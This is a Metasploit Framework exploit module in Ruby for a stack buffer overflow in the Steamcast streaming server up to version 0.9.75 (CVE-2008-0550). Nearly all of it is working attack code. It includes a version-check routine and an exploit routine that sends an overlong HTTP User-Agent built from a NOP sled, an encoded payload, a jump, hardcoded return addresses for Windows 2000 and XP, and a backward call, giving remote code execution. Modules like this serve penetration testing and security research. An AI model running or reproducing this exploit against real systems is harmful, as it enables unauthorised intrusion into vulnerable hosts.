##
# $Id: steamcast_useragent.rb 9488 2010-06-11 16:12:05Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Streamcast <= 0.9.75 HTTP User-Agent Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Streamcast <= 0.9.75. By sending
an overly long User-Agent in an HTTP GET request, an attacker may be able to
execute arbitrary code.
},
'Author' => [
'LSO <lso[@]hushmail.com>', # Original exploit module
'patrick' # Added references and check code. Default target to XP.
],
'License' => BSD_LICENSE,
'Version' => '$Revision: 9488 $',
'References' =>
[
[ 'CVE', '2008-0550' ],
[ 'OSVDB', '42670' ],
[ 'URL', 'http://aluigi.altervista.org/adv/steamcazz-adv.txt'],
# [ 'BID', '' ], # No entry as yet
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 750,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
# Tested OK by patrick 20090225
[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
],
'DisclosureDate' => 'Jan 24 2008',
'DefaultTarget' => 1))
register_options([ Opt::RPORT(8000) ], self)
end
def check
connect
sock.put("GET / HTTP/1.0\r\n\r\n")
res = sock.get(-1, 3)
disconnect
if (res =~ /Steamcast\/0.9.75/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
juju = "GET / HTTP/1.0\r\n"
juju << "User-Agent: " + make_nops(1008 - payload.encoded.length)
juju << payload.encoded + Rex::Arch::X86.jmp_short(6) + make_nops(2)
juju << [ target.ret ].pack('V') + [0xe8, -850].pack('CV')
juju << rand_text_alpha_upper(275)
print_status("Trying target #{target.name}...")
sock.put(juju + "\r\n\r\n")
handler
disconnect
end
end